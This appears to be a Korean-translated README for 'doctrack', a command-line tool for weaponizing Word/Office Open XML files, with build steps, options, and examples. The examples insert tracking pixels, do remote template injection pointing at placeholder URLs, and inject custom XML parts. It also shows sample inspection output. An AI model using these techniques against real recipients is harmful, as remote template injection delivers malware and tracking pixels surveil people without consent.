
Office Open XML 문서를 조작 및 무기화하는 도구.
Office Open XML 문서를 조작하고 무기화하는 도구입니다.
.Net 6.0을 다운로드해야 합니다. 그런 다음 Windows에서 단일 바이너리를 빌드하려면:
$ git clone https://github.com/wavvs/doctrack.git
$ cd doctrack/
$ dotnet publish -r win-x64 -c Release /p:PublishSingleFile=true
Linux에서:
$ dotnet publish -r linux-x64 -c Release /p:PublishSingleFile=true
$ doctrack --help
Office Open XML 문서를 조작하고 무기화하는 도구입니다.
-i, --input 입력 파일명. 존재하지 않으면 새 파일이 생성됩니다.
-o, --output 출력 파일명. 설정하지 않으면 문서는 --input 파일로 저장됩니다.
-m, --metadata 제공할 메타데이터 (JSON 파일).
-u, --url 삽입할 URL.
-e, --template (기본값: false) 설정하면 템플릿 URL 삽입을 활성화합니다.
-s, --inspect (기본값: false) 문서를 검사합니다.
-c, --custom-part Custom XML 부분 삽입 (XML 파일)
--help 이 도움말 화면을 표시합니다.
Word 문서를 생성하고 문서 메타데이터 변경:
$ doctrack -i test.docx -m metadata.json
추적 픽셀 삽입 및 문서 메타데이터 변경:
$ doctrack -i test.docx -o test.docx --metadata metadata.json --url http://test.url/image.png
원격 템플릿 URL 삽입 (일명 Remote Template Injection):
$ doctrack -i test.docx -o test.docx --url http://test.url/template.dotm --template
Custom XML 부분 삽입:
$ doctrack -i test.docx -o test.docx -c part.xml
외부 대상 URL, 메타데이터 및 Custom XML 부분 검사:
$ doctrack -i test.docx --inspect
[외부 대상]
부분: /word/document.xml, ID: R8783bc77406d476d, URI: http://test.url/image.png
부분: /word/settings.xml, ID: R33c36bdf400b44f6, URI: http://test.url/template.dotm
[메타데이터]
만든 이: wavvs
제목: doctrack
주제:
범주:
키워드:
설명:
콘텐츠 형식:
콘텐츠 상태:
버전:
개정:
생성 날짜: 13.10.2020 23:20:39
수정 날짜: 13.10.2020 23:20:39
마지막 수정자:
마지막 인쇄 날짜: 13.10.2020 23:20:39
언어:
식별자:
[CustomXML 부분]
부분: /customXML/item.xml (25바이트)